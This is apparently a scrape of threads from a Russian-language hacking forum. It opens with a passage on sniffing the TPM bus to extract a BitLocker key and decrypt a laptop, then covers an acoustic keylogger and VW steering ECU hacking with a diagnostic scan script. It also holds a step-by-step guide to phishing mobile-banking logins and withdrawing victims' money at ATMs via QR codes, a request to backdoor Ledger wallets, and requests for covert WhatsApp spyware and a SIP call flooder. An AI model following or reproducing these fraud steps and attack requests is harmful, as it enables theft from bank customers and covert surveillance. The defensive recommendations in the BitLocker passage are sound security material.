Сбор данных был выполнен с использованием модифицированной версии LPC Sniffer. Прошивка была изменена Денисом Андзаковичем для экономии буферного хранилища и, следовательно, задержки переполнения за счет записи только адресов 0x00000024, связанных с TPM.

После прошивки устройства можно использовать скрипт Python read_serial.py для получения кадров LPC. Следующая команда выполняется на сниффинг-компьютере, затем включается целевой ноутбук, чтобы TPM мог проверить регистры PCR, освободить VMK и передать его по шине LPC.

Как показано в выходных данных ниже, в выходной файл журнала записываются только кадры, начинающиеся с 24.

1660291089245.png

После завершения последовательности загрузки скрипт останавливается. Собранные данные были обработаны для удаления заголовка кадра и сохранения только фактических данных. Затем команда grep используется для извлечения заголовка VMK, за которым следует ключ (32 следующих шестнадцатеричных символа), как показано ниже.

1660291098396.png

Ключевые значения, наблюдаемые в шине, каждый раз не были точно такими же. Такое поведение, вероятно, связано с соединением сниффера, которое далеко от совершенства даже после сеанса натягивания сокета. Поскольку ошибки передачи возникают случайным образом, их было относительно легко идентифицировать путем сравнения нескольких измерений. В таблице ниже показаны значения, полученные во время четырех загрузок.

1660291110307.png

Сравнение нескольких перехваченных данных и окончательный ключ в правом столбце.

Расшифровка диска

Имея на руках ключ дешифрования, можно было расшифровать локальный диск благодаря dislocker. Последняя версия инструмента на момент написания — 0.7.2, и она поддерживает параметр --vmk, который позволяет напрямую указать VMK без необходимости воссоздавать FVEK. VMK должен быть помещен в двоичный файл, как показано ниже.

1660291126079.png

На этом этапе можно было бы полностью обойти защиту Bitlocker и обычно:

**- получить доступ и изменить любой сохраненный файл;
- украсть локальную базу паролей в том числе;
-- локальные учетные записи в улье SAM
-- последние десять пользователей, подключенных к домену, благодаря MSCACHE
- заблокировать машину вредоносным ПО

Вывод**

Подводя итог, мы смогли получить ключ Bitlocker за пару дней с модулем FPGA за 49 долларов, используя только инструменты, доступные в магазинах DIY. Операция оказалась проще, чем мы ожидали, особенно если учесть, что это была наша первая аппаратная атака и что многие компании полагаются на конфигурацию только с TPM.

Конечно, все это было бы невозможно (по крайней мере, за такое короткое время) без работы многих других исследователей безопасности, которые обнаружили проблему, написали статьи и опубликовали свои инструменты.

Схемы материнской платы очень помогли найти расположение отладочных площадок.

Однако важно подчеркнуть, что лучшие навыки пайки позволили бы прикрепить соединения непосредственно к самой микросхеме TPM, что избавило бы от необходимости отслеживать соединения.

Рекомендация

Чтобы избежать атаки с перехватом TPM, самым простым способом было бы настроить Bitlocker для использования дополнительного фактора аутентификации перед загрузкой, такого как PIN-код. Некоторые другие факторы, такие как USB- устройства или смарт-карты, также могут работать, но обычно считаются менее удобными для пользователя.

Конечно, это изменение конфигурации подразумевает, что пользователям придется вводить дополнительную информацию при загрузке компьютера.

Недавно выпущенная ОС Windows 11 требует использования чипа TPM 2.0, который был разработан для обеспечения зашифрованной связи. Это предварительное условие может открыть двери для правильного способа защиты передачи, не требуя от пользователя добавления второго фактора аутентификации. Однако обратите внимание, что это изменение технически предотвратит прослушивание TPM, но не другие физические атаки.

Дополнительные сведения о мерах противодействия Bitlocker также можно найти в специальном посте Microsoft.

Звуковой кейлоггер. Определяем нажатые клавиши по звуку
ID: 676535aeb4103b69df373615
Thread ID: 70805
Created: 2022-07-28T23:29:51+0000
Last Post: 2022-07-28T23:55:57+0000
Author: top
Prefix: Статья
Replies: 1 Views: 1K

Не секрет, что у каждой клавиши на клавиатуре — уникальное звучание, которое зависит от её расположения и других факторов. Теоретически, анализ спектрограммы позволяет отличить клавиши друг от друга, а по частотности нажатий определить, какому символу соответствует каждый звук. Задача распознавания звуков упрощается тем, что при наборе связного текста символы хорошо прогнозируются по словарю (а именно, по частотности n-грамм для текстов).
Двухмерная спектрограмма «клика» отдельной клавиши на механической клавиатуре выглядит [примерно так](https://ggerganov.github.io/jekyll/update/2018/11/30/keytap-description- and-thoughts.html):

У каждой клавиши спектрограмма слегка отличается.

Звуковой кейлоггер — очень интересная задача с точки зрения безопасности. Она близка к фингерпринтингу пользователя по клавиатурному почерку (включая скорость набора, опечатки, тайминги между сочетания клавиш и др.).

Теоретически, это даёт возможность:

Всё это в отсутствие визуального канала, то есть просто по голосовой связи. Например, во время телефонного разговора.

В последние годы разработано несколько концептуальных разработок в этой области. Одним из первых появился инструмент под названием keytap от Георги Герганова (2018 год). Он обучается для конкретного пользователя (звук конкретной механической клавиатуры). Работает в том числе через браузер. Нужно [включить](https://github.com/emscripten-core/emscripten/wiki/Pthreads-with- WebAssembly) в браузере поддержку WebAssembly pthreads и SharedArrayBuffer, а также дать разрешение на прослушивание микрофона, есть демо.

Для проверки этого кейлоггера рекомендуется начинать с двух клавиш, звучание которых максимально отличается, то есть максимально разнесённых друг от друга по расстоянию. Например, q и p в случае раскладки QWERTY. Если результат распознавания меньше 100%, то кейлоггер не работает.

Через полтора года тот же автор выпустил ещё один инструмент keytap2, который работает иначе. Вместо обучения он использует статистику частотности букв и n-грамм (последовательностей символов) в английском языке.

Для успешного анализа достаточно набрать несколько предложений связного текста на английском языке — и программа начнёт определять, какому звуку соответствует какая клавиша. Небольшую демонстрацию на видео см. здесь

В онлайн-демо есть определённые ограничения. Она работает только для текстов на английском языке. Требуется набрать минимум 100 символов осмысленного текста. Случайные нажатия клавиш не дадут результата. Лучше всего программа работает на громких механических клавиатурах. Микрофон желательно включить на максимальную чувствительность.

Недавно вышла самая продвинутая версия keytap3 с более точной статистикой n-грамм. Она по-прежнему надёжно работает только с механическими клавиатурами и определяет текст на английском языке, но уже работает гораздо стабильнее. Например, страничку с демо-версией кейлоггера можно открыть на телефоне — и положить рядом с клавиатурой.

Все упомянутые кейлоггеры — это любительские проекты одного энтузиаста. Конечно, при грамотном подходе с привлечением квалифицированных специалистов и профессиональной аппаратуры можно добиться гораздо лучшей точности распознавания.

Для русского языка таких инструментов пока нет в открытом доступе. Хотя лингвистическая база для него существует, в том числе Национальный корпус русского языка (4,5 млн текстов), из которого можно получить частотность n-грамм в русскоязычных текстах. Очевидно, что частотность нажатия клавиш в русскоязычной раскладке сильно отличается от частотности букв английского языка. По тепловой карте довольно легко определить, на каком языке печатает пользователь (по крайней мере, несложно сделать бинарный выбор для пары русский/английский).

Повторим, что существующие инструменты распознают текст только на громкой (механической) клавиатуре и с близкого расстояния.

Чтобы предотвратить утечку информации по звуковому каналу, можно использовать утилиты вроде Unclack (для macOS) и Hushboard, которые автоматически отключают микрофон во время печати на клавиатуре. Кроме целей безопасности, они выполняют и более прозаичную функцию — автоматическое устранение посторонних шумов («клацания») во время видео/аудиоконференций.

Взлом ЭБУ гидроусилителя руля VW Golf - #1
ID: 676535aeb4103b69df373616
Thread ID: 69575
Created: 2022-07-03T07:56:18+0000
Last Post: 2022-07-26T14:20:27+0000
Author: timeshout
Prefix: Статья
Replies: 5 Views: 1K

В этой серии статей я опишу свои попытки модификации прошивки ЭБУ электронного усилителя руля (EPS) от Volkswagen Golf Mk6 2010 года. Эта рулевая рейка, вероятно, присутствует на всех автомобилях платформы VW PQ, начиная с 2008 года и по настоящее время. Автомобили с платформы PQ46 производятся до сих пор (например, Pasat NMS 2022 года). Это, вероятно, означает, что это один из самых производимых модулей EPS в этой области.

Несмотря на то, что стойка была представлена еще в 2008 году, поддержка Lane Keep Assist (LKAS) или Heading Control Assist (HCA) в терминологии VW уже присутствует. Это позволяет использовать этот автомобиль с openpilot, системой помощи водителю с открытым исходным кодом. К сожалению, команды рулевого управления не принимаются после 6 минут непрерывной работы или на скорости ниже 50 км/ч. В этот момент необходимо отключить руль на целую секунду. Я считаю, что эти меры контрпродуктивны и ставят под угрозу безопасность, когда уже имеется надлежащая система контроля водителя на основе камер. Поэтому я хотел внести некоторые изменения в прошивку, работающую на этом EPS, чтобы отключить их.

весь код, написанный для связи с ECU и, в конечном итоге, его перепрошивки, является открытым исходным кодом и может быть найден здесь: https://github.com/pd0wm/pq-flasher .

Получение деталей
Первым шагом к взлому ЭБУ будет получение одного (или нескольких) данного ЭБУ. Для этого нам необходимо получить номер детали. Если ЭБУ находится в доступном месте, номер детали обычно можно считать с модуля. Если ЭБУ находится глубоко внутри автомобиля, возможно, вы сможете найти его на сайте производителя запчастей или на Ebay.

В качестве альтернативы, если вы хотите быть уверенным на 100%, вы можете использовать диагностический прибор для опроса ЭБУ по CAN. Обычно он может напрямую сообщить вам номер детали. В данном случае был использован последний способ, и номер детали: 1K0909144E.

Имея на руках номер детали, мы можем искать запчасти из вторых рук. Чем старше и проданнее автомобиль, тем проще и дешевле это будет сделать. В зависимости от вашего местоположения вам, возможно, придется искать на нескольких сайтах. В США мне больше всего повезло с Ebay и LKQ Online. В Европе доставка может сделать Ebay дороже, чем поиск на местном рынке. Просто набрав в Гугле номер детали, можно найти несколько результатов. Для этого проекта я нашел одну деталь на сайте onderdelenlijn.nl и забрал ее в нескольких минутах езды от моего дома. Я заплатил всего 100 евро за всю стойку, поскольку это такая распространенная деталь. Для более современных автомобилей вы можете заплатить до $200-$500 в зависимости от типа ЭБУ.

1656834230702.png

Разборка
Теперь, когда у нас есть дубликат интересующего нас ЭБУ, мы можем рассмотреть его поближе. Наша первая цель - запустить его и поговорить с ним по CAN, чтобы убедиться, что он все еще работает. Во-вторых, мы хотим подключить отладчик к микроконтроллеру внутри, чтобы посмотреть, сможем ли мы извлечь прошивку в случае, если доступ к отладке не был отключен.

Для подключения к ЭБУ нам необходимо найти распиновку разъема. Обычно это можно получить с помощью оригинальной схемы. Большинство производителей автомобилей предлагают подписку на все свои руководства и схемы, обычно с дешевым вариантом на 1 день (например, Toyota TIS, Honda Techinfo и VW Erwin). Премиум-подписки обычно также поставляются с оригинальным диагностическим программным обеспечением, которое можно использовать с любым J2534-ключом, таким как panda или Tactrix.

https://techinfo.toyota.com/techInfoPortal/appmanager/t3/ti?_nfpb=true&_pageLabel=ti_home_what_is_tis_page

Service Express

erWin Online | Volkswagen of America | erWin Online

erwin.vw.com erwin.vw.com

github.com

[ GitHub - commaai/panda: code powering the comma.ai panda

](https://github.com/commaai/panda)

code powering the comma.ai panda. Contribute to commaai/panda development by creating an account on GitHub.

github.com github.com

[ Tactrix Openport 2.0

](https://www.tactrix.com/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=17&category_id=6&option=com_virtuemart&Itemid=53&redirected=1&Itemid=53)

(must choose adapters before adding to cart)

www.tactrix.com www.tactrix.com

В данном случае, после подключения к панде и запуска простого инструмента дампа, мы получили хороший CAN-трафик. Мы можем сопоставить его с соответствующим файлом Golf DBC и подтвердить, что это действительно сообщения, отправленные EPS (Lenkwinkel_1, Lenkhilfe_3, Lenkhilfe_1 и Lenkhilfe_2).
DBC: https://github.com/commaai/opendbc/blob/master/vw_golf_mk4.dbc

Code:Copy to clipboard

hex  ( dec) data
0x0C2( 194) b'0000000080224bdd'
0x0D0( 208) b'44b0002004d0'
0x3D0( 976) b'00a10028005d'
0x3D2( 978) b'52411200010000'

Похоже, что электроника изготовлена с использованием голых матриц, прикрепленных к какой-то подложке, вероятно, для снижения стоимости и повышения надежности при высоких температурах. Плата состоит из двух частей, маломощной части с процессором и приемопередатчиками CAN, и высокомощной части с 6 МОП-транзисторами, образующими трехфазный H-мост.

1656834483251.png

Чтобы узнать больше об этом ЭБУ, мы должны провести дополнительные исследования с помощью доступного интерфейса CAN.

Обычно соединения, необходимые для подключения отладчика, открыты с помощью незаполненного пинхедера или оголенных площадок, разбросанных по печатной плате. Используя спецификацию и мультиметр, можно выяснить, как подключить отладчик.

Если микроконтроллер выполнен в корпусе BGA и контакты не оголены, можно использовать JTAGULATOR для "перебора" распиновки отладчика. Если это не принесет результатов, можно пожертвовать другим ЭБУ, выпаяв компонент BGA.

Поскольку у нас уже есть ЭБУ, подключенный к компьютеру с помощью панды, мы можем попытаться выяснить, можем ли мы общаться с ним по одному из стандартных диагностических протоколов, таких как UDS или его предшественник KWP2000. UDS/KWP2000 имеют много полезных "конечных точек", включая чтение памяти, так что это будет хорошим местом для начала.

Мы можем начать с запуска небольшого скрипта сканирования. Он отправит команду UDS "Tester Present" на наиболее часто используемые адреса диагностики (0x700

Code:Copy to clipboard

#!/usr/bin/env python3
import argparse
from tqdm import tqdm
from panda import Panda
from panda.python.uds import UdsClient, MessageTimeoutError, NegativeResponseError, SESSION_TYPE, DATA_IDENTIFIER_TYPE

if __name__ == "__main__":
  parser = argparse.ArgumentParser()
  parser.add_argument('--rxoffset', default="")
  parser.add_argument('--nonstandard', action='store_true')
  parser.add_argument('--debug', action='store_true')
  parser.add_argument('--addr')
  args = parser.parse_args()

  if args.addr:
    addrs = [int(args.addr, base=16)]
  else:
    addrs = [0x700 + i for i in range(256)]
    addrs += [0x18da0000 + (i << 8) + 0xf1 for i in range(256)]
  results = {}

  uds_data_ids = {}
  for std_id in DATA_IDENTIFIER_TYPE:
    uds_data_ids[std_id.value] = std_id.name
  if args.nonstandard:
    for uds_id in range(0xf100,0xf180):
      uds_data_ids[uds_id] = "IDENTIFICATION_OPTION_VEHICLE_MANUFACTURER_SPECIFIC_DATA_IDENTIFIER"
    for uds_id in range(0xf1a0,0xf1f0):
      uds_data_ids[uds_id] = "IDENTIFICATION_OPTION_VEHICLE_MANUFACTURER_SPECIFIC"
    for uds_id in range(0xf1f0,0xf200):
      uds_data_ids[uds_id] = "IDENTIFICATION_OPTION_SYSTEM_SUPPLIER_SPECIFIC"

  panda = Panda()
  panda.set_safety_mode(Panda.SAFETY_ELM327)
  print("querying addresses ...")
  with tqdm(addrs) as t:
    for addr in t:
      # skip functional broadcast addrs
      if addr == 0x7df or addr == 0x18db33f1:
        continue
      t.set_description(hex(addr))
      panda.send_heartbeat()

      bus = 1 if panda.has_obd() else 0
      rx_addr = addr + int(args.rxoffset, base=16) if args.rxoffset else None
      uds_client = UdsClient(panda, addr, rx_addr, bus, timeout=0.2, debug=args.debug)
      # Check for anything alive at this address, and switch to the highest
      # available diagnostic session without security access
      try:
        uds_client.tester_present()
        uds_client.diagnostic_session_control(SESSION_TYPE.DEFAULT)
        uds_client.diagnostic_session_control(SESSION_TYPE.EXTENDED_DIAGNOSTIC)
      except NegativeResponseError:
        pass
      except MessageTimeoutError:
        continue

      # Run queries against all standard UDS data identifiers, plus selected
      # non-standardized identifier ranges if requested
      resp = {}
      for uds_data_id in sorted(uds_data_ids):
        try:
          data = uds_client.read_data_by_identifier(uds_data_id)  # type: ignore
          if data:
            resp[uds_data_id] = data
        except (NegativeResponseError, MessageTimeoutError):
          pass

      if resp.keys():
        results[addr] = resp

    if len(results.items()):
      for addr, resp in results.items():
        print(f"\n\n*** Results for address 0x{addr:X} ***\n\n")
        for rid, dat in resp.items():
          print(f"0x{rid:02X} {uds_data_ids[rid]}: {dat}")
    else:
      print("no fw versions found!")

Поскольку сообщения CAN могут содержать только 8 байт, обычно между протоколом диагностики и необработанными сообщениями CAN используется транспортный уровень для передачи больших кусков данных. Большинство ЭБУ используют протокол ISO-TP, который использует первый байт в каждом сообщении для указания счетчика последовательности и того, последуют ли еще сообщения. Он также содержит некоторое управление потоком для случаев, когда принимающий ЭБУ еще не готов к приему. Для диагностики в диапазоне 0x7XX ответы обычно отправляются по адресу TX + 0x8, для сообщений в диапазоне 0x18daXXf1 последние два байта адреса меняются местами.

В этот момент я решил подключить коммерческий диагностический донгл VW, который использует приложение Android для общения с ЭБУ, чтобы посмотреть, что это даст. После того, как я убедил донгл подключиться (несмотря на то, что большая часть автомобиля не присутствовала на шине CAN), он смог показать некоторую диагностическую информацию об ЭБУ.

OBDeleven

Start conversation with your car

obdeleven.com obdeleven.com

1656834747095.png

Volkswagen Transport Protocol 2.0 (TP 2.0)

Теперь, когда есть некоторая связь, я использовал панду для прослушивания трафика CAN. Это дало нам следующий трафик:

Code:Copy to clipboard

time     address  data
0.339    0x200    b'09c00010000301'   # dongle - Request channel open
0.342    0x209    b'00d00003a80701'   # ECU    - Channel open response
0.343    0x7a8    b'a00f8aff0aff'     # dongle - Parameter request
0.352    0x300    b'a10f8aff4aff'     # ECU.   - Parameter response
0.407    0x7a8    b'1000021089'       # dongle - 0x10 0x89 - Enter diagnostics mode 0x89
0.412    0x300    b'b1'               # ECU    - ACK
0.422    0x300    b'1000025089'       # ECU    - 0x50 0x89 - Mode 0x89 entered
0.425    0x7a8    b'b1'               # dongle - ACK
0.587    0x7a8    b'1100021089'       # dongle - 0x10 0x89 - Enter diagnostics mode 0x89
0.592    0x300    b'b2'               # ECU    - ACK
0.602    0x300    b'1100025089'       # ECU    - 0x50 0x89 - Mode 0x89 entered
0.605    0x7a8    b'b2'               # dongle - ACK
0.643    0x7a8    b'1200021a9b'       # dongle - 0x1a 0x9b - Ecu identification
0.652    0x300    b'b3'               # ECU - ACK
0.662    0x300    b'2200305a9b314b30' # ECU - "Z.1K0"
0.672    0x300    b'2339303931343445' # ECU - "909144E"
0.682    0x300    b'2420203235303100' # ECU - "  2501."
0.692    0x300    b'2500000000064016' # ECU - ".....@."
0.702    0x300    b'26054d4550535f5a' # ECU - ".MEPS_Z"
0.712    0x300    b'27464c53204b6c2e' # ECU - "FLS Kl."
0.722    0x300    b'2820313834202020' # ECU - " 184.  "
0.732    0x300    b'1920'             # ECU - " "
0.735    0x7a8    b'ba'               # dongle - ACK

Вы можете увидеть обмен одним сообщением на парах 0x200-0x209, затем связь возобновляется на 0x7a8 и 0x300. Беглый поиск в Google показывает, что это должен быть транспортный протокол Volkswagen Transport Protocol 2.0 (TP 2.0). Информации не так много, но достаточно, чтобы понять, что происходит, и расшифровать приведенный выше фрагмент.

Мы видим, как открывается канал с модулем 0x9. Затем мы видим 0x10 0x89, который входит в диагностическую сессию с помощью KWP2000. Затем приложение запрашивает идентификацию ecu, используя 0x1a 0x9b, с Z.1K0909144E 2501......@..MEPS_ZFLS Kl. 184 в качестве ответа (что соответствует тому, что мы видим в приложении на предыдущем рисунке).

Теперь, когда мы знаем, какой протокол используется, я могу написать свою собственную реализацию на Python. Этот репозиторий GitHub содержит весь код, использованный в этом проекте, на случай, если у вас на столе тоже есть ecu и вы хотите поиграть с ним дома. Я реализовал транспортный уровень TP 2.0 и некоторые полезные сервисы KWP2000. Это будет использовано в последующих частях для проведения дополнительной диагностики и, в конечном итоге, перепрошивки ЭБУ.

Пожалуйста, дождитесь следующей части!

[Hacking a VW Golf Power Steering ECU - Part

1](https://blog.willemmelching.nl/carhacking/2022/01/02/vw-part1/)​

Ищу кто прошьет ledger
ID: 676535aeb4103b69df37361a
Thread ID: 65873
Created: 2022-04-20T01:42:23+0000
Last Post: 2022-06-05T12:34:53+0000
Author: avia
Replies: 10 Views: 1K

Ищу кто бекдор засунет в них

Gather, I will tell you how you can withdraw money from ATM's with qr from other people's accounts.
ID: 676535aeb4103b69df373621
Thread ID: 52897
Created: 2021-06-13T20:34:16+0000
Last Post: 2022-03-31T06:59:34+0000
Author: HASTA
Replies: 7 Views: 1K

Hello there ..
I'm sorry for my bad english ..
Withdrawing money with Qr code:In front of the ATM, you take out your phone to withdraw money from the ATM with a qr code. When you enter your mobile banking and request a withdrawal with a QR code, the camera feature of your phone will be turned on and you will read the QR code that appears on the ATM screen. And the ATM gives the money.

Requirements inventory: Phone, PC, pshing, atm rat):
0-First job; place your partner near your targeted bank ATM , Then go home and turn on the computer
1-Copy the bank's website
2-Redirect victims to this site
3-Get victims' mobile banking login details
4-Download your target bank's mobile banking application to any phone
5-Enter the information you stole
6-Don't forget to get instant sms information very fast
7-The moment you see that there is cash in the account you have opened
8-Enter withdrawal feature with Qr code
9-The camera feature of the phone on which you have set up the victim account will be opened. Because it assumes you are in front of the ATM. And it asks you to scan the qr code on the ATM screen so you can get the money. But you are at home and on someone else's account :)
10- (Important): Your business partner waiting at the ATM takes a photo of the QR code reflected on the ATM screen and sends it to your computer.
11- (continuation of 9): Mobile banking requested QR code from ATM to withdraw money from your phone.
12- A QR code came to your computer from your partner and you scanned it.
13- And your wife took the money from the ATM. volaa

Sorry for my few omissions or too much explanation. PM for your questions.

Как войти в робототехнику?
ID: 676535aeb4103b69df373628
Thread ID: 58946
Created: 2021-11-16T10:39:56+0000
Last Post: 2022-02-08T04:51:54+0000
Author: Bitard
Replies: 12 Views: 1K

Все хотят стать хакерами, а я хочу войти в робототехнику чтобы делать крутых роботов и быть реально крутым в будущем. Интересуют книги, курсы и вообще подойдет любая информация которая поможет мне в эту сферу войти. Так же буду рад услышать ваше мнение и советы по этой теме. Заранее благодарю.

Восстановление кассовых чеков на основе данных ККТ: возможно ли?
ID: 676535aeb4103b69df373629
Thread ID: 61196
Created: 2022-01-11T11:09:37+0000
Last Post: 2022-02-06T16:02:18+0000
Author: obtim
Replies: 8 Views: 1K

Есть чек из абстрактного магазина на территории РФ. Возможно ли на основании данных ККТ(контрольно кассовая техника) из него восстановить(например методом перебора фискальных данных/даты) данные других чеков(сумма покупки, услуга и т.п.), которые пробивались на кассе в этом магазине?

Софт для невидимого просмотра сообщений WhatsApp на iOS, Android
ID: 676535aeb4103b69df37362e
Thread ID: 59174
Created: 2021-11-23T09:27:44+0000
Last Post: 2021-12-20T13:59:02+0000
Author: NeeKey
Prefix: GSM
Replies: 6 Views: 1K

На просторах интернета нашел кучу информации о так называемых программах- шпионах. Все они типичные по функционалу. Для себя выделил два типажа те которые требуют физического доступа, и те которые такового не требуют (касается iOS устройств). Как по мне интересные следующие FoneMonitor, SpyMaster Pro, mSpy, Cocospy и т.д., но как по мне они больше похожи на родительский контроль. Собственно вопрос: где можно почитать о рабочих софтинах, не такого открытого сегмента для общей публики, и реально чтоб было рабочее? Спасибо

FRP (Android) Lock Removal
ID: 676535aeb4103b69df373635
Thread ID: 56469
Created: 2021-09-09T12:42:57+0000
Last Post: 2021-11-27T19:09:40+0000
Author: build_ext
Replies: 18 Views: 1K

I have a program which is purely software (no "magic" box required) that removes the in-built Android protection called FRP Lock. FRP lock forces you to type the password in of the original Google account which was used to register the phone when the phone was initially setup. No amount of flashing or re-roms will remove this FRP lock and by forcibly wiping the phone you just end up in a worse situation.

I have managed to aquire a program which forces the phone into download mode and then removes FRP Lock as well as many other useful features. If you are interested in this then let me know, I'll upload it and edit this thread to contain the link if somebody wants it. I'm not going to add it if there's no interest.

------------------------------------------------------------------------------------------------------------------------------------------------------------

У меня есть программа, которая является чисто программным обеспечением (не требуется "волшебная" коробка) , которая удаляет встроенную защиту Android, называемую блокировкой FRP. Блокировка FRP заставляет вас вводить пароль исходной учетной записи Google, которая использовалась для регистрации телефона при первоначальной настройке телефона. Никакое количество перепрошивок или повторных ПЗУ не снимет эту блокировку FRP, и, принудительно очистив телефон, вы просто окажетесь в худшей ситуации.

Мне удалось приобрести программу, которая переводит телефон в режим загрузки, а затем удаляет блокировку FRP, а также многие другие полезные функции. Если вы заинтересованы в этом, дайте мне знать, я загружу его и отредактирую эту тему, чтобы она содержала ссылку, если кто-то этого захочет. Я не собираюсь добавлять это, если нет интереса.

The Hardware Hacking Handbook: Breaking Embedded Security with Hardware Attacks (Early Access)
ID: 676535aeb4103b69df373636
Thread ID: 57558
Created: 2021-10-10T14:15:29+0000
Last Post: 2021-11-24T16:30:29+0000
Author: x00c4sub
Prefix: Мануал/Книга
Replies: 7 Views: 1K

Embedded devices are chip-size microcomputers small enough to be included in the structure of the object they control, and they’re everywhere—in phones, cars, credit cards, laptops, medical equipment, even critical infrastructure. This means understanding their security is critical. The Hardware Hacking Handbook takes you deep inside different types of embedded systems, revealing the designs, components, security limits, and reverse-engineering challenges you need to know for executing effective hardware attacks.

Written with wit and infused with hands-on lab experiments, this handbook puts you in the role of an attacker interested in breaking security to do good. Starting with a crash course on the architecture of embedded devices, threat modeling, and attack trees, you’ll go on to explore hardware interfaces, ports and communication protocols, electrical signaling, tips for analyzing firmware images, and more. Along the way, you’ll use a home testing lab to perform fault-injection, side-channel (SCA), and simple and differential power analysis (SPA/DPA) attacks on a variety of real devices, such as a crypto wallet. The authors also share insights into real-life attacks on embedded systems, including Sony’s PlayStation 3, the Xbox 360, and Philips Hue lights, and provide an appendix of the equipment needed for your hardware hacking lab – like a multimeter and an oscilloscope – with options for every type of budget.

cloud.mail.ru

[

The_Hardware_Hacking_Handbook_Breaking_Embedded_Security_with_Hardware.pdf ](https://cloud.mail.ru/public/eSGx/FCUGK7w29)

Вам открыли доступ к файлу. Отправлено с помощью Облако Mail

cloud.mail.ru cloud.mail.ru

В этой книге доступно 8 глав. В полном объеме, книга должна выйти 14 декабря 2021 года.

Используйте Android как Rubber Ducky против другого Android-устройства
ID: 676535aeb4103b69df37365f
Thread ID: 49799
Created: 2021-03-24T13:44:32+0000
Last Post: 2021-03-24T13:44:32+0000
Author: thame
Replies: 0 Views: 1K

github.com

[ GitHub - androidmalware/android_hid: Use Android as Rubber Ducky

against another Android device ](https://github.com/androidmalware/android_hid)

Use Android as Rubber Ducky against another Android device - androidmalware/android_hid

github.com github.com

доказательство концепции​

Бекдор в процессорах Intel?
ID: 676535aeb4103b69df373660
Thread ID: 49794
Created: 2021-03-24T11:49:24+0000
Last Post: 2021-03-24T11:49:24+0000
Author: tabac
Replies: 0 Views: 1K

Мы неоднократно писали, что исследователи Positive Technologies весьма успешно потрошат микрокод процессоров Intel.

Например, в октябре они достали ключи шифрования, которые используются для защиты обновлений. Мы тогда предположили, что дальнейшие исследования в этой области вполне могут привести к встроенным бэкдорам АНБ в процессорах Intel. И, возможно, мы оказались правы.

Ермолов , Скляров и Горячий нашли в платформе Apollo Lake две недокументированные инструкции, позволяющие путем доступа к шине управления модифицировать микрокод. По мнению исследователей, эти инструкции присутствуют на всех процессорах Intel.

Правда для этого процессор должен быть в режиме Red Unlocked , то есть хакер должен иметь доступ к управлению Intel Management Engine. По умолчанию он залочен и доступ есть только у Intel. Но в некоторых процессорах есть дыры, позволившие его получить.

Да, Intel , по идее, может это все пропатчить. Нет, это будет не быстро.

Что имеем в итоге - недокументированные инструкции, позволяющие взять CPU (а значит и всю систему) под контроль, доступ к которым (по идее) имеют только Intel (или некоторые товарищи стоящие за ними).

Пилят, вот точно АНБшный бэкдор!

__https://twitter.com/x/status/1373059797155778562

Region lock отвязать от смартфона бесплатно. Manual.
ID: 676535aeb4103b69df373663
Thread ID: 48355
Created: 2021-02-19T16:22:42+0000
Last Post: 2021-02-19T16:22:42+0000
Author: Tubu
Replies: 0 Views: 1K

В сети существует несколько сервисов по данной тематике и стоимость разблокировки на таких площадках начинается от 25-30$.

При работе по моему мануалу, Ваши затраты составят... да практически без затрат!!)

Итак. Вообщем-то всё довольно просто. Идём в ближайший Связной или Евросеть. Просим у них туристическую симку (Я взял goodline-отдых за 770р, но в Связном такие сим продаются по 70р). Пусть её сразу обрежут под Ваш смартфон. Как мы знаем, чтобы разблокировать смарт от региона, надо в общей сумме поговорить 5мин по симкарте Европейского оператора. Так вот goodline - это Эстония! То что нужно)) Но есть одно большое НО! Т.к. эта сим карта туристическая, она не работает в РФ! Ни принимает входящие и не даёт сделать исходящий вызов... Хотя сеть ловит отлично.

Что мы имеем... Смарт с региональной блокировкой и сим евро оператора не работающего в РФ.

Единственное что мы можем - это позвонить в тех.поддержку этого гудлайна. А нам ведь без разницы)) Главное проговорить 5 мин. Вставляем сим и звоним в тех поддержку (нам предоставляется возможность пообщаться с ними бесплатно первые 3 минуты). Задаем им разные вопросы: "А правда что я могу с вами поговорить 3 мин бесплатно?"; "А как подключить интернет?"; "А сколько стоит позвонить из Турции в РФ?" и т.п.). Говорим 3 мин и сбрасываем так как после 3х бесплатных минут цена разговора 0.45$/мин... Надо поговорить 5 мин? Не проблема! Звоним и говорим с ними ещё 2-3 мин!!))

Также есть бесплатный номер ТП типа 8-800.... Так вот на него можно звонить бесплатно в течении неограниченного времени, но я не пробовал)

Одной симкартой можно разлочить неограниченное количество телефонов!

Ограничение снимается со смартфона!Разблокировка осуществляется либо вводом кода (отправляешь имей, платиш 30-40$, получаешь код), либо разговором не менее 5 мин по европейской сим карте.

Если готов немного вложиться, то гугли "Virtual office" в той стране что нужна симка, ищи с postal services, регаешь всё это дело на фуллку какой нибудь компании, можно на РУ компании или УКР, благо сканов доков море - вот для этих virtual office можешь указать как раз voip номер для связи с тобой (вернее с компанией), дальше гугл в помощь за бесплатными или prepaid симками, заказываешь их на адрес что тебе дадут в virtual office конторе, и по приходу им, делаешь пересыл себе на дропа. Я лично так делал с UK FR ES. На круг не сильно дорого, многие из них просто существует за счёт пересыл сервиса и адрес дают бесплатно. в UK у меня получилось за 30 симок что от около 150 фунтов (когда конторку с giffgaff в ру прикрыли) - часть giffgaff бесплатные часть prepaid, 150 вышло уже симки + пересыл.

Нужен был роуминг под интернет. Чтобы везде и всегда, и чтобы быстро и нахаляву. нашел интересный вариант - услуга tele2 - "Евроинтернет" Условия Безлимитный Интернет в Европе на 3G скоростях за 5 рублей в сутки Как пользоваться: Цитирую с сайта tele2: При подключении услуги «Евроинтернет» предоставляется неограниченный объем бесплатного интернет-трафика. Услуга действительна при нахождении абонента на территории Швеции, Норвегии, Эстонии, Латвии, Литве, Хорватии и Казахстане при регистрации в сети Tele2 (в Норвегии

Sip call flooder
ID: 676535aeb4103b69df373672
Thread ID: 43133
Created: 2020-10-11T16:47:48+0000
Last Post: 2020-10-13T08:48:47+0000
Author: Termux
Replies: 2 Views: 1K

Парни посоветуйте флудер номеров работающий через sip провайдеры

Снять привязку с тулзы
ID: 676535aeb4103b69df373673
Thread ID: 42595
Created: 2020-09-28T16:05:36+0000
Last Post: 2020-09-28T16:05:36+0000
Author: What So Not
Replies: 0 Views: 1K

Вообще можно что-нибудь придумать? Может найдутся толковые ребята которые разберут софт по полочкам.

![dropmefiles.com](/proxy.php?image=https%3A%2F%2Fdropmefiles.com%2Fimages%2Fshare- logo_vk.png&hash=3f67b87028329be58fe8d4c73ccac7b9&return_error=1)

[ DropMeFiles – free one-click file sharing service

](https://dropmefiles.com/rmw7L)

